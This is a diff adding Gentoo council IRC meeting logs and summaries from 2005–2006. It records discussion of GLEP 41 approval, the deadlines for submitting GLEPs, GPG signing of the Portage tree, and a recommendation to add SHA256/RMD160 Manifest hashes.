+15:13 <@seemant> I'm ok with  vapier's suggestion
+15:14 <@seemant> but then we need to be strict from here on in about such things
+15:14 <@seemant> no more exceptions
+15:14 <@solar> He posted to the list that this topic could be postponed.
+15:14 <@vapier> right, lets get g2boojum to update GLEP1 with this requirement ?
+15:14 <@az> on the other had, should they not have been notified of this on submission ?
+15:14 <@SwifT> I wouldn't ask for postponal, for me the GLEP's issues have been addressed and taken care of
+15:14 <@seemant> solar: I thought that was item #2 (if you speak of g2boojum)?
+15:15 <@seemant> az: this is true -- there is no policy
+15:16 <@Koon> note: no need to argue on this if we intend to refuse it in its current form
+15:16 <@vapier> i think we're all ok with it now in its current form ?
+15:16 <@seemant> I am ok with it, yes
+15:16 <@SwifT> yup
+15:16 <@Koon> any suggestion for (subdomain_to_be_determined) ?
+15:16 <@Koon> just kidding
+15:17 <@Koon> I'm ok with it
+15:17 <@seemant> aide.gentoo.org perhaps ?
+15:17 <@Koon> especially since it has been submitted (a litte late) and didn't spark any negative comment
+15:18 <@seemant> az: solar: comments?
+15:18 <@Koon> We should just say that from now on, GLEP (even minor corrections) should be submitted to -dev at least n days before being put on the agenda
+15:18 <@az> not really, think we covered everything mostly last time
+15:18 <@Koon> k, then , maybe we should move to the meaty stuff
+15:19 <@seemant> so I guess two things have been decided (and need to be hashed out(
+15:19 <@seemant> 1. GLEP 41 is approved
+15:19 <@seemant> 2. -dev needs to be informed of any and all changes before (re)submission of any GLEP for council voting
+15:20 <@seemant> Right, Item # 2 addresses the status of gpg signing of portage tree things
+15:20 <@vapier> put a timeframe on that ? (2) must be at least a week before the actual meeting
+15:20 <@seemant> currently, I believe the signing is limited only to package directories
+15:20 -!- mode/#gentoo-council [+v genone] by Koon
+15:21 <@seemant> vapier: I think a week before meeting is perfect personally
+15:21 <@Koon> that's about when we announce agenda submission deadlines anyway
+15:21 <@az> so then rather 2 weeks ?
+15:21 <@az> 1 week discussion, 1 week to get to us
+15:21 <@vapier> 1 week before agenda submission deadline
+15:22 <@Koon> k, but we must wake up and announce meetings earlier then :)
+15:22 <@vapier> we *remind* we dont announce
+15:23 <@Koon> heh
+15:23 <@vapier> remind everyone on the 1st of each month of the upcoming times
+15:23 <@seemant> Koon: I would like to propose that the meeting times are pre-announced -- we simply fine tune/remind the actual date
+15:23 <@solar> If this is not being postponed on the topic of glep41 as said on the mailing list then I'm going with a no on this topic. So far what I've seen of AT's and the existing AT lead for x86@ has not been very encouraging. thus I dont think it is worth it to put the extra workload on infra.
+15:24 <@vapier> and if it were postponed, what would change your mind ?
+15:24  * Koon feels the sudden cold
+15:25 <@solar> I dont want to hand out access to people who put 30-60 mins of effort into gentoo per week
+15:25 <@vapier> so you dont have to
+15:25 <@vapier> the AT stuff is up to each arch team as they see fit
+15:26 <@vapier> if you dont have people who you think arent fit, no cookie
+15:26 <@Koon> also it's quite a light "access". r/o CVS and a mail alias...
+15:27 <@Koon> anyway, he has the right to vote no, anyone reverting his vote to follow solar ?
+15:27 <@solar> the majority of you have voted yes so it still will pass. I'm fine with that.
+15:28 <@Koon> ok, then, the portage tree signing stuff...
+15:29 <@solar> genone: want to start this topic off?
+15:29 <@Koon> This is more a discussion that should remind/confirm past decisions on this and also discuss how we can speed up things, no ?
+15:29 <@Koon> unless someone has objections on the May 2004 plan
+15:30 <@Koon> ...
+15:30 <@solar> ok I've talked with some key people in the past about this topic. robbat2 pretty much knows what we need. At one point klieber blocked gentoo having it's own keyserver.
+15:30 <@solar> but for us todo it right it is my understanding that is vital
+15:31 <@solar> jstubbs said he is willing to add any additional code to portage itself that is needed to make this happen
+15:31 <@vapier> infra already indexes dev's keys i thought
+15:31 <@Koon> the May 2004 meeting established that we don't really need a keyserver, just a keychain in portage, signed by a master key, no ?
+15:32 <@seemant> that was my understanding as well
+15:32 <@Koon> solar: so it's mostly a problem with devrel not pushing key policy to devs ?
+15:32 <@Koon> (the (1) in genone email ?)
+15:32 <@Koon> and/or an infra problem ?
+15:34 <+genone> someone needs to 1) collect keys 2) sign them with some master key 3) put them somewhere in the (rsync) tree
+15:34 <+g2boojum> Koon: My understanding is that there is on key policy.  Where should they be stored.  How needs to sign the key?  What about expiration dates?  Devs should use a single-purpose key, or a signed subkey, or what?
+15:34 <+g2boojum> s/on key/no key/
+15:34 <@vapier> i thought there was a policy
+15:34 <@Koon> g2boojum/vapier: who should set it ? the council ?
+15:35 <@vapier> it already exists
+15:35 <@vapier> proj/en/devrel/handbook/hb-guide-manifest-signing.xml
+15:36 <@solar> that is not the right policy.
+15:36 <@solar> I recall covering this before. There was no reson to attempt to force DSA keys.
+15:36 <@Koon> solar: consistency ?
+15:36 <+g2boojum> Koon: Ultimately, yes.  Now, there could be a GLEP that specifies this stuff, but there probably needs to be some encouragement for some sane folks to write such a GLEP.
+15:37 <@solar> RSA/DSA are both handled the same. RSA for security has proven itself better. DSA was faster for verifcation
+15:37 <@vapier> ok, but is there any information other than that URL as to our signing policy ?
+15:37 <+g2boojum> vapier: Just the log from that long-ago meeting that genone stripped out and forwarded to the council.
+15:38 <+g2boojum> vapier: Which was pretty much inconclusive.
+15:38 <@Koon> the problem here is that it's nobody's job to make it progress
+15:39 <@Koon> so it's prio 2 for almost everyone
+15:39 <@solar> yes pretty much.
+15:40 <@az> you could say its an security issue, so security heard should take charge of it
+15:40  * az runs
+15:40 <@az> herd*
+15:40 <@vapier> heh, that's stretching it
+15:40 -!- thunder` [n=thunder@gentoo/developer/thunder] has joined #gentoo-council
+15:41 <@Koon> az: why not, but lots of people feel that we are already too aggressive with other teams, so I don't want to overstretch
+15:41 <@solar> there are people willing to work on it. But there is no clear plan thats bullet proof. Adding profiles/ eclass/ package.tbz2 to the list
+15:41 <@seemant> let me ask this -- what would people like to see happen before we go into aggressive mode with a key signing policy?
+15:42 <@seemant> 1. existence of said policy
+15:42 <@seemant> 2. ????
+15:42 <@seemant> 3. profit^W
+15:42 <@solar> repoman not allowing commits to the tree unless FEATURES=sign is enabled
+15:42 <@az> should be start if its implemented i guess
+15:42 <@solar> getting all keys. deciding who is in control of the master key
+15:42 <@vapier> take a step back, we dont even have a policy that is generally accepted
+15:43 <@Koon> ok so we need to GLEP the key policy
+15:43 <@Koon> "we"
+15:43 <@seemant> vapier: see #1 on my mini list
+15:43 <@vapier> so why dont we take it upon ourselves to do that
+15:43 <@vapier> pass around a scratch glep, then send it to the people involved in first meeting, then send to -dev
+15:44 <@solar> I'm in favor of that
+15:44 <@Koon> vapier: sure, but it'd probably still need a primary author, even if the other council members can help in reviewing/correcting
+15:44 <@seemant> all in favour
+15:44 <@seemant> ?
+15:44 <@vapier> primary authors are overrated
+15:44 <@Koon> yes
+15:44 <@seemant> Koon: we'll come to that
+15:44  * Koon hides
+15:44 <@vapier> i'll put down az's name anyways
+15:44 <@seemant> Koon: first let's make sure the council members are ok with it
+15:45 <@SwifT> I'm in favor of such a scratch glep; doesn't need to come from us (but can of course)
+15:45 <@az> if you want a screwup, sure
+15:45 <@seemant> az: explain?
+15:45 <@vapier> he forget the </joke>
+15:45 <@vapier> ;P
+15:45 <@az> i cannot write litrature/anything longer than a paragraph to save my ass
+15:45 <@seemant> SwifT: the idea is probably that the council kicks it off by putting its weight behind it
+15:45 <@vapier> let alone a # comment
+15:46 <@seemant> az: yes, but you can express ideas and that's the important bit
+15:46 <@Koon> especially if it goes a little beyong key policy and mandates who is in charge of what job
+15:46 <@az> i thought vapier wanted me to write it
+15:46 <@Koon> like who asks rogue devs to create new keys
+15:46 <@SwifT> if there is no support from the dev community putting in weight won't work, but I think there is support, just passive
+15:46 <@solar> az he just wants to forge your name on it
+15:46 <@seemant> ok, gavel pound -- the council is hereby charged with scratching the beginnings of the key signing policy document
+15:46 <@az> oh, heh
+15:47 <@seemant> shall we say that the council members will be done with their part of the scratch before the next meeting in December?
+15:47 <@seemant> (ie we would have handed the doc off of to the people involved in the first meeting)
+15:47 <@vapier> sure
+15:48 <@Koon> sure
+15:48 <@SwifT> ack
+15:48 <@az> fine
+15:48 <@seemant> for the sake of the record: the first meeting I refer to is the meeting in genone's email to the council (under the old gentoo metastructure leadership)
+15:48 <@seemant> ok, that is as it is then
+15:48 -!- antarus|work [n=antarus@nagoya.dhcp.egr.msu.edu] has joined #gentoo-council
+15:49 <@seemant> I'll now open up the floor for Q&A
+15:49 -!- mode/#gentoo-council [-m] by seemant
+15:49 <@seemant> don't all talk at once
+15:50 <@solar> Are we supposed to be voting on 43?
+15:50  * antarus|work just got here ;)
+15:50 <@vapier> are we ?  i dont recall it being requested ...
+15:50 <@seemant> solar: wasn't on the agenda I had
+15:50 <@Koon> solar: probably not, wasn't put on the agenda. Which one is it
+15:50 <@seemant> Koon: the hosting of gleps
+15:50 <+g2boojum> solar: It's up to you folks.  I claim that it's a local issue (just affecting the GLEP project), so it doesn't really need a vote by the council.
+15:50 <@seemant> well, files that are related to gleps
+15:50 <@seemant> g2boojum: I should think so as well
+15:50 <@Koon> ah yes, I'd say it's more a GLEP-internal thing
+15:51 <@solar> I'm fine with that. It's pretty much a no brainer
+15:51 <+g2boojum> I'm willing to be smacked down by the council for being uppity, however.
+15:51 <@seemant> who knew g2boojum was kinky
+15:51 <@seemant> I'd rather council stayed far away from the micromanaging thing
+15:52 < ferringb> agreed
+15:52  * vapier knew
+15:52 <@seemant> so seriously, no questions from anyone?
+15:52 < ferringb> what's 2+2?
+15:52 <@seemant> 4
+15:52 <@vapier> how do you stay so sexy ?
+15:52 <@seemant> tae-bo
+15:53 <@seemant> next
+15:53 <@Koon> everything must go very well in Gentoo-land
+15:53 <@SwifT> well, if that's it, I'm off :)
+15:53 <@seemant> next time, we need something more controversial to vote on :P
+15:53 <@Koon> at least two weeks without a -core flame
+15:53 < ferringb> hmm.
+15:54 < ferringb> the site redesign got me wondering if there is any rules regarding accessibility for our pages...
+15:54 <@Koon> seemant: maybe the core announcement glep will be ready by then
+15:54 <@az> if bum touching in dev channels is allowed ?
+15:54 < ferringb> seemant: conversion to the smart pkg manager fex?
+15:54 <@seemant> ferringb: I thought the original requirements for the page redesign had that in?
+15:54 < ferringb> rpm or dpkg, yay!
+15:55 <+g2boojum> SwifT: Still here?
+15:55 < ferringb> seemant: no clue
+15:55 <@seemant> ferringb: we're not voting on that -- we're putting that as a rider to an already existing vote that's virtually guaranteed to go through
+15:55 <@seemant> ferringb: like when we vote to have the AT subdomain be cheese.gentoo.org, fex.
+15:55 < ferringb> hmm.  tag on a "pay harring to sit on his ass" rider to said rider, and you've got my vote
+15:56 < ferringb> ahh, politics.
+15:56 < ferringb> hmm
+15:56 <@vapier> well if this has degenerated into listening to ferringb talk, i'm outs
+15:56 -!- vapier [i=UserBah@wh0rd.org] has left #gentoo-council []
+15:56 < ferringb> seemant: has been brought up earlier and resulted in a massive flaming (yay for knee jerk reactions), but social contract y'all might want to do a careful read through again
+15:57 < ferringb> wonderful timing...
+15:57 <@seemant> ferringb: that might well be a good thing to discuss in December or January's meeting, actually
+15:58 < ferringb> ...and find out what's going on with the copyright assignement (are we doing it, aren't we, were are we at, etc)
+15:58 -!- tove [n=tove@p54A61965.dip0.t-ipconnect.de] has left #gentoo-council []
+15:58 <@seemant> ferringb: ah we'll have to get the trustees to inform us about that
+15:58 < ferringb> crack that whip.
+15:58 -!- agaffney [n=agaffney@gentoo/developer/pdpc.active.agaffney] has left #gentoo-council []
diff --git a/xml/htdocs/proj/en/council/meeting-logs/20051215-summary.txt b/xml/htdocs/proj/en/council/meeting-logs/20051215-summary.txt
new file mode 100644
index 00000000..979ab414
--- /dev/null
+++ b/xml/htdocs/proj/en/council/meeting-logs/20051215-summary.txt
@@ -0,0 +1,23 @@
+this months meeting wasnt too eventful, kind of quiet ... on the agenda:
+
+- Marius: decision on multi-hash for Manifest1
+there was a bit of hearsay about why the council was asked to review/decide 
+on this issue since we werent able to locate any portage devs at the time of 
+the meeting ... so our decision comes with a slight caveat.  assuming the 
+reasons our input was asked for was summarized in the e-mail originally sent 
+by Marius [1], then we're for what we dubbed option (2.5.1).  that is, the 
+portage team should go ahead with portage 2.0.54 and include support for 
+SHA256/RMD160 hashes on top of MD5 hashes.  SHA1 should not be included as 
+having both SHA256/SHA1 is pointless.  further more, we hope this is just a 
+hold over until Manifest2 is ironed out/approved/implemented/deployed.  it 
+was also noted that we should probably omit ChangeLog and metadata.xml files 
+from the current Manifest schema as digesting them serves no real purpose.
+[1] http://article.gmane.org/gmane.linux.gentoo.devel/33434
+
+- Council: portage signing
+shortly after our November meeting, a nice summary was posted by Robin 
+Johnson that covered signing issues from top to bottom.  as such, it was felt 
+that trying to throw together a GLEP would not be beneficial.  instead we 
+will be adding a constant agenda item to future council meetings as to the 
+status of portage signing issues to keep the project from slipping into 
+obscurity again.
diff --git a/xml/htdocs/proj/en/council/meeting-logs/20051215.txt b/xml/htdocs/proj/en/council/meeting-logs/20051215.txt
new file mode 100644
index 00000000..085d3762
--- /dev/null
+++ b/xml/htdocs/proj/en/council/meeting-logs/20051215.txt
@@ -0,0 +1,229 @@
+
+Session Start: Thu Dec 15 13:20:24 2005
+Session Ident: #gentoo-council
+* Logging #gentoo-council to 'logs\#gentoo-council.log'
+[13:20] <vapier> ...
+[13:33] <SwifT> \\o
+[13:33] <SwifT> \o/
+[13:33] <SwifT> o//
+[13:33] <SwifT> \o/
+[13:33] <SwifT> and DANCE
+[13:34] <solar> heh.
+[13:34] * vapier stabs SwifT in the eye
+[13:34] <solar> so topics for today include only us deciding on to enable SHA1 ?
+[13:35] <solar> for portage. or was it all those hashing algos (like where he had 5 that overlapped) ?
+[13:35] * SwifT needs to be informed again as to why we need to decide on that; isn't that Portage-specific?
+[13:35] <SwifT> no, not the manifest2 one
+[13:35] <vapier> i think he was looking for advice considering it isnt a trivial change
+[13:35] <vapier> even though yes, it is pretty much a portage-only issue
+[13:36] <vapier> infra OK-ed the extra temp overhead
+[13:36] <solar> that and jstubbs votes for wait. genone votes for now.
+[13:36] <solar> so portage team cant decide within itself
+[13:36] <vapier> hmm, wasnt aware of that nuance
+[13:36] <SwifT> whos portage lead?
+[13:36] <solar> from what I gather
+[13:36] <SwifT> ("who is the Portage lead" in correct English)
+[13:37] <vapier> i dont think they have a real lead
+[13:37] <vapier> they're a little commie group
+[13:37] <solar> I dont think there is a 'lead' but jstubbs handles the portage releases.
+[13:38] <SwifT> and he wants to wait...
+[13:39] <solar> In his notes for 2.0.54 I know he expects that it will be SHA1+MD5
+[13:40] <vapier> seems to me that the manifest2 thing will take sometime to implement while the SHA1+MD5 can be done now ?
+[13:40] <SwifT> both take time to implement, but the sha1+md5 is less intrusive
+[13:41] <vapier> the sha1+md5 is done afaik
+[13:41] <vapier> genone just wanted some feedback as to whether to deploy it
+[13:48] * Joins: marienz (i=marienz@gentoo/developer/marienz)
+[13:55] * Joins: agriffis (n=agriffis@gentoo/developer/agriffis)
+[13:55] * ChanServ sets mode: +o agriffis
+[13:58] * Joins: jaervosz (n=jaervosz@gentoo/developer/jaervosz)
+[14:00] * vapier sets mode: +o jaervosz
+[14:00] <SwifT> *ding* *dong*
+[14:00] <vapier> lets get this shindig going
+[14:00] * Quits: Koon (n=koon@gentoo/developer/Koon) ("Leaving")
+[14:01] <vapier> agriffis / seemant / solar / SwifT / vapier/ jaervosz ?
+[14:01] <jaervosz> yeah, i'm here instead of koon who is taking care of his newborn
+[14:01] <SwifT> yes
+[14:02] <vapier> az for sure wont be here due to fuel crisis in south africa
+[14:03] <vapier> but he has no proxy
+[14:03] <vapier> seemant / solar / agriffis ?
+[14:03] * agriffis is here
+[14:04] <vapier> solar was active a min ago
+[14:04] <solar> I owe him a proxy and todays meeting seems to be a brainstorming session
+[14:04] * Joins: ciaranm (n=ciaranm@alpha.total-knowledge.com)
+[14:04] <vapier> agenda today is Marius's request for decision on multihash support
+[14:04] <vapier> http://article.gmane.org/gmane.linux.gentoo.devel/33434
+[14:06] <vapier> for those who remember, infra a-ok-ed the additional overhead that any of the methods would require
+[14:07] <seemant> hey guys sorry
+[14:07] <seemant> I'm here
+[14:07] <vapier> so that leaves us with 2.5 recommendation choices
+[14:07] <vapier> (1) nothing should be done and we should wait for Manifest2 GLEP to be hammered out/approved/implemented
+[14:08] <vapier> (2) the digests should be updated to start including/using SHA1 as well as MD5
+[14:08] <vapier> (2.5) also include SHA256 and RMD160 hashes
+[14:09] <vapier> the implementation for (2) is done, just not committed
+[14:09] <seemant> 2.5 is my preference
+[14:09] <SwifT> (2) is my preference with (1) being on the roadmap
+[14:09] <vapier> (2.5) is a .5 because it adds overhead of requiring pycrypto
+[14:10] <vapier> but pycrypto, being quite tiny and fast (i looked into it), isnt that big of deal imho
+[14:10] <agriffis> vapier: from my reading of genone's message, it sounds like 2.5 and 2 are mostly the same thing, since 2.5 is optional and only happens if dev-python/pycrypto is installed.
+[14:10] <seemant> that was my followup question
+[14:10] <vapier> agriffis: hence the .5
+[14:10] <SwifT> but I'm wondering why it wasn't added by the portage folks automatically... if they're afraid that the small overhead of the manifest files will hit them like thunderstorm and they want the council to take the heat, or if there's another reason
+[14:11] <vapier> SwifT: there seems to be disagreement whether to go with (1) or (2) so they wish for outside advice
+[14:11] <vapier> (1) seems to be going smoothly, it just looks like it'll take sometime for everything to fall into place
+[14:11] <seemant> vapier: what are the rationales for disagreement
+[14:11] <seemant> ?
+[14:11] <vapier> you'd have to ask jstubbs and genone, neither of which seem to be here atm
+[14:11] <vapier> mayhap solar knows
+[14:12] <solar> Without genone here I would not feel right about trying to approve/disapprove anything on this topic.
+[14:12] <agriffis> what's the reason for going with 2 or 2.5, btw, instead of waiting for the full Manifest2 GLEP?  My understanding is that it's very hard to compromise MD5, even with the recent discoveries.  So is the point of 2/2.5 to ward off people that are unhappy with portage depending on MD5?
+[14:13] <agriffis> Is genone aware the meeting is happening now?
+[14:13] <vapier> we've tried pinging him via e-mail/irc, but no luck
+[14:13] <vapier> (2) can be done right now, no sweat
+[14:14] <vapier> (1) will take time
+[14:14] <SwifT> does (2) bring additional work on the ebuild maintainer's heads?
+[14:14] <SwifT> not really does it?
+[14:14] <vapier> no
+[14:14] <vapier> repoman does it
+[14:14] <SwifT> oh, I thought ebuild did that
+[14:14] <vapier> agriffis: generating a collision with md5 is not hard
+[14:14] <SwifT> does (2) bring additional work on the portage developers's heads?
+[14:15] <vapier> no, (2) is done
+[14:15] <vapier> genone has posted the patch which implements it
+[14:15] <agriffis> okay, so g2boojum tells me that it's mostly a PR thing, because we've been advertising multi-digest for a long time but don't have it yet.  (2) gives it quickly, satisfying many people and letting the portage devs concentrate on Manifest2 without the additional pressure.
+[14:15] <agriffis> (g2boojum didn't say all that, I added interpretation, etc)
+[14:16] <SwifT> I mean for (1)
+[14:16] <vapier> SwifT: yes, it's all in the GLEP
+[14:16] <vapier> Manifest2 eats Manifest and digest files
+[14:16] <SwifT> as far as I'm concerned, I only hear good things about the proposal (2), I honestly don't know why we need to approve anything on it
+[14:16] <SwifT> so, I'm in favor of the proposal
+[14:16] <vapier> SwifT: we're not approving, we're recommending
+[14:16] <SwifT> oh ic
+[14:16] <SwifT> :)
+[14:17] <agriffis> SwifT: I don't think any of it, 1 2 or 2.5 is harder for devs.  Probably all devs will need to install the additional module to generate the SHA256 and RMD160 sums though, so that makes 2.5 a little harder to implement than 2.
+[14:17] <vapier> yes, but we could just add pycrypto as a DEPEND to newer portage
+[14:17] <vapier> as i mentioned, the overhead of the package is trivial, ignoring the fact that it's python
+[14:17] <agriffis> vapier: so everybody would need it then?  any issue with export restrictions, etc?
+[14:17] <solar> if it's going to generate SHA256 is there really any point in waisting the space in the tree with SHA1 ?
+[14:17] <vapier> the more the merrier
+[14:18] <vapier> we could ask for a 2.5.1: add SHA256/RMD160
+[14:18] <vapier> agriffis: i do not know
+[14:18] <agriffis> no, not true.  solar is right, there's no point putting in both SHA1 and SHA256, that's just extra lines in every manifest
+[14:18] <vapier> i stay ignorant of export restrictions as i hate them
+[14:18] <solar> he also includes metadata.xml
+[14:19] <solar> that is also pointless. A while ago metadata.xml and ChangeLog were removbed from files that were supposed to be digested
+[14:19] <vapier> first off, is everyone comfortable with making a recommendation ?  or would we want to get genone/jstubbs here
+[14:20] <agriffis> vapier: I think we have enough questions that we're not able to recommend between the given options.
+[14:20] <agriffis> (just stating my humble opinion, not speaking for everybody)
+[14:20] <SwifT> I'd recommend that the Portage team can do whatever they want on the subject
+[14:21] <vapier> i'm all for 2.5 followed by 1
+[14:21] <vapier> seemant: how about yourself ?
+[14:22] <agriffis> g2boojum would like to say something, is that ok?
+[14:22] * solar sets mode: +v g2boojum
+[14:22] * agriffis realizes he is a council member
+[14:22] <vapier> g2boojum's always welcome to say something
+[14:22] <agriffis> g2boojum: speak, man :-)
+[14:23] <g2boojum> My read, from http://thread.gmane.org/gmane.linux.gentoo.devel/33434, is that the issue is about the relative merits of bloating the tree (temporarily), or waiting an unspecified amount of time for multi-digest to go in.  http://thread.gmane.org/gmane.linux.gentoo.devel/33434
+[14:23] <g2boojum> Arghh.  Sorry about the double link.
+[14:23] <g2boojum> The technical issues are already handled, except for the differences between (2) and (2.5), and I don't think the portage team cares all that much there.
+[14:24] <jaervosz> is there any significant need for (2.5) over (2)?
+[14:24] <agriffis> jaervosz: my question too
+[14:24] <vapier> the hashes provided by 2.5 are thus far not "cracked"
+[14:25] <vapier> the hashes provided by 2 are all "crackable"
+[14:25] <jaervosz> why not take the simplest satisfactory solution until manifest2 is in place?
+[14:25] <vapier> we're just hedging out bets on the idea that it's harder to "crack" multiple hashes simultaneously
+[14:25] <jaervosz> but you'd have to provide a collision for both the md5 and sha1 checksums
+[14:25] <vapier> yes, but we're still hedging our bets
+[14:26] <vapier> and really, when it comes to computing SHA256 vs SHA1 on files in portage, the disk I/O tends to be more overheard than the additional cpu cycles
+[14:27] <vapier> so how about this everyone, we say that 'if the reason they are looking for our feedback is the issues stated in http://thread.gmane.org/gmane.linux.gentoo.devel/33434, we recommend (#)'
+[14:27] <vapier> that way if theres more underlying issues, we can get them to show up next meeting
+[14:28] <vapier> that sit well with people ?
+[14:29] <solar> my understanding is that he is asking for a decision vs a recommendation
+[14:30] <SwifT> something like "can I can I can I? Please? Can I?"
+[14:30] <vapier> give em a strong recommendation ?
+[14:31] <agriffis> vapier: it's fine with me if that's the sentence to send back to them, are you going to take a vote on which number next?
+[14:31] <solar> if you go back to th first mail on the topic he sent to the council. http://rafb.net/paste/results/NQH1vd21.html
+[14:31] <vapier> that's ok with me
+[14:31] <vapier> so shall we pool our cards and see what we got ?
+[14:32] <vapier> (1) ? (2) ? (2.5.1) ?
+[14:32] <agriffis> btw, I've checked wikipedia and it seems that we don't have to worry about export restrictions on these.  IANAL though ;-)
+[14:33] <agriffis> vapier: referring to the link solar provided,
+[14:33] <vapier> it's just a forward of the gmane ive posted
+[14:33] <agriffis> I think the a-b-c-d choices are more explicit.
+[14:33] <jaervosz> (2)2.5.1
+[14:33] <agriffis> Not toward the bottom it isn't.
+[14:33] <jaervosz> bahh forget that
+[14:34] <vapier> agriffis: not really ...
+[14:34] <vapier> (1/a) manifest2 (2/b) SHA1 (2.5/d) force sha256/rmd160
+[14:35] <agriffis> vapier: well, there are 4 choices there ;-) and I like the distinction between c and d.  I think it's best for our recommendation to be one or the other, if either.
+[14:35] <agriffis> vapier: ah ok, so you're just skipping c.  That's fine with me.
+[14:35] <vapier> yes
+[14:35] <agriffis> c seems pretty pointless
+[14:35] <vapier> imo if we're going to do sha256/rmd160, half-assing it is a waste
+[14:35] * agriffis nods
+[14:35] <vapier> btw seemant called me ... he lost network at work
+[14:35] <vapier> he said if it came together, he was pro 2.5.1
+[14:36] <seemant> wow, back
+[14:36] <seemant> thanks vapier
+[14:36] <seemant> agriffis: left you a msg too
+[14:36] <vapier> heh, well that was a waste
+[14:36] <seemant> yeah, sorry
+[14:36] <agriffis> seemant: I have my earphones in, I can't hear my lawn tractor nevermind my phone ;-)
+[14:36] <vapier> i didnt hear my cell cause my acid trance was too loud
+[14:36] <agriffis> hehe
+[14:37] <vapier> so given the e-mail, what are people in favor of ?
+[14:37] * vapier points at 2.5.1
+[14:38] <seemant> "
+[14:39] <agriffis> vapier: based on the idea that the manifests aren't going to take more space blockwise, I'd say 2.5.1 is fine (i.e. d, forced SHA256 / RMD160).  It would be nice to drop MD5 / SHA1 entirely, but dropping MD5 would break older portage.  It's possible though that dropping SHA1 would be cool.
+[14:39] <vapier> that's the .1
+[14:39] <vapier> 2.5 -> {SHA1,SHA256,RMD160}    2.5.1 -> {SHA256,RMD160}
+[14:40] <agriffis> oh, I must have missed that.
+[14:40] <agriffis> 2.5.1 is great with me then.
+[14:40] <solar> I'm in favor of giving genone 1 slacker dev point for calling us in on the subject and not bothering to show up. Otherwise {SHA256,RMD160}
+[14:40] <jaervosz> 2.5.1 is fine with me
+[14:40] <vapier> SwifT: ?
+[14:40] <SwifT> pfft
+[14:40] <SwifT> (2) and (2.5.1) are both okay for me
+[14:41] <SwifT> I mean, the 2.5.1 requires some additional work, no?
+[14:41] <vapier> for portage devs ? no
+[14:41] <SwifT> which could very well be spend to work on the Manifest2 stuff
+[14:41] <vapier> it's done
+[14:41] <SwifT> oh, it's just the python-package dependency then?
+[14:41] <vapier> yes
+[14:41] <solar> vapier: he has too much code in there.
+[14:41] <SwifT> must've missed it, sorry
+[14:41] <SwifT> 2.5.1 it is then
+[14:41] <agriffis> if we try, we could manage to take an hour on this. :-)
+[14:41] <vapier> any other points people wish to mention before we tag it & bag it ?
+[14:42] <vapier> {it -> portage manifesting stuff}
+[14:42] <solar> yank SHA1 and metadata.xml and it would seem fine to me
+[14:42] <vapier> noted
+[14:43] <seemant> let's {t,b}ag
+[14:43] <vapier> {tea,bag}
+[14:43] <vapier> anyways, the last note before people peace out
+[14:43] <vapier> for those who have forgotten, the signing [preglep] stuff
+[14:44] <solar> vapier: ChangeLog not listed in his example anywhere. But I'd say add that the to notes as well for something that should not be added to the hash file
+[14:44] <vapier> i talked with robbat2, and imo, his e-mail thread he posted more than covered anything we need for a first step
+[14:44] <vapier> shall we turn it into a running item for each meeting ?  current signing status ?
+[14:45] <jaervosz> sounds like a good idea to keep the thing flowing
+[14:46] <vapier> we'll call it an Action Item
+[14:46] <vapier> each month needs a TPS report
+[14:47] <SwifT> you mean PSR?
+[14:47] <SwifT> Present Status Report
+[14:47] <vapier> while sipping my warm cup of STFU
+[14:47] <SwifT>  
+[14:47] <vapier> pwnt
+[14:47] <SwifT>  
+[14:47] <vapier> all in all, a quiet meeting ... so i guess unless someone else wants something posted, lets call it a day ?
+[14:47] <solar> stalled. robbat2 has some good ideas but portage team is not in favor
+[14:48] <vapier> ok, so i'll poke robbat2 and genone some more about it
+[14:49] <solar> Each of them have thier own methods. I'd still say step 1 is to make repoman force pkgs to be atleast signed. next step should be for somebody to code whats needed for eclasses and profiles
+[14:50] <vapier> i thought manifest2 covered that, but i guess not huh
+[14:50] <solar> no it does not.
+[14:50] <agriffis> vapier: mtg is over, this is post discussion, right?
+[14:51] <vapier> i think we can wrap it up solar ?
+[14:51] <vapier> post the summary to gentoo-dev and we can expand upon current shortcomings there
+[14:51] <solar> I'm done
+[14:51] <vapier> k
+[14:51] <vapier> agriffis: latesr
+[14:52] <SwifT> I'm off; bye all
+Session Close: Thu Dec 15 14:52:41 2005
diff --git a/xml/htdocs/proj/en/council/meeting-logs/20060112-summary.txt b/xml/htdocs/proj/en/council/meeting-logs/20060112-summary.txt
new file mode 100644
index 00000000..809f2729
--- /dev/null
+++ b/xml/htdocs/proj/en/council/meeting-logs/20060112-summary.txt
@@ -0,0 +1,37 @@
+Present:
+  Koon (Thierry Carrez)
+  Swift (Sven Vermeulen)
+  agriffis (Aron Griffis)
+  seemant (Seemant Kulleen)
+  solar (Ned Ludd)
+  vapier (Mike Frysinger)
+
+Absent: 
+  azarah (Martin Schlemmer)
+  Where abouts unknown for the last 30 days.
+
+Attendance by non council members appeared to be rather low.
+
+Agenda:
+
+ * GLEP 45 - GLEP date format
+ * Disallowing council members to act as proxies for other council members.
+* Global gentoo goals for 2006
+
+
+Outcome:
+
+* GLEP 45:
+As stated on the mailing lists minor changes to GLEP's and the GLEP 
+process is best left in the hands of the GLEP editors. Everybody 
+supported g2boojum's ability to decide. Otherwise we would of voted 
+yes.
+
+* Disallowing council members to act as proxies for other council members.
+Approved.
+
+* Global gentoo goals for 2006
+This was mostly a brainstorming session covering such topics as should 
+the council even be setting global goals, enterprise support, GRP, 
+ebuild/profile/eclass and binpkg signing.
+
diff --git a/xml/htdocs/proj/en/council/meeting-logs/20060112.txt b/xml/htdocs/proj/en/council/meeting-logs/20060112.txt
new file mode 100644
index 00000000..ecf3e8ed
--- /dev/null
+++ b/xml/htdocs/proj/en/council/meeting-logs/20060112.txt
@@ -0,0 +1,257 @@
+-:- Topic (#gentoo-council): changed by vapier: Meeting at 1900 UTC (1400 EST) || anybody seen azarah in the last month?
+06:54PM <SwifT> where am I?
+06:54PM <SwifT> :p
+06:55PM <vapier> batman
+<solar> anybody want to step up and chair this or open session today?
+06:57PM <vapier> i would but like i said, i'm prob gonna have to pop out early
+06:59PM <vapier> welp, by my clock, it's about that time eh
+07:00PM <vapier> i'm pretty sure az isnt going to show up
+-:- tove [n=tove@p54A60D69.dip0.t-ipconnect.de] has joined #gentoo-council
+07:00PM <vapier> Koon / seemant / solar / seemant / vapier
+07:00PM <vapier> who is awake ?
+<solar> check
+07:01PM <SwifT> mate
+07:01PM <seemant> I am awake
+07:02PM <vapier> i'll assume Koon will wake shortly
+-:- kloeri_ [n=kloeri@gentoo/developer/kloeri] has joined #gentoo-council
+<solar> * GLEP 45 - GLEP date format <-- ok this one. This is not even for us to decide on is it? The glep editors got that one covered right?
+07:02PM <vapier> yes, g2boojum is for it
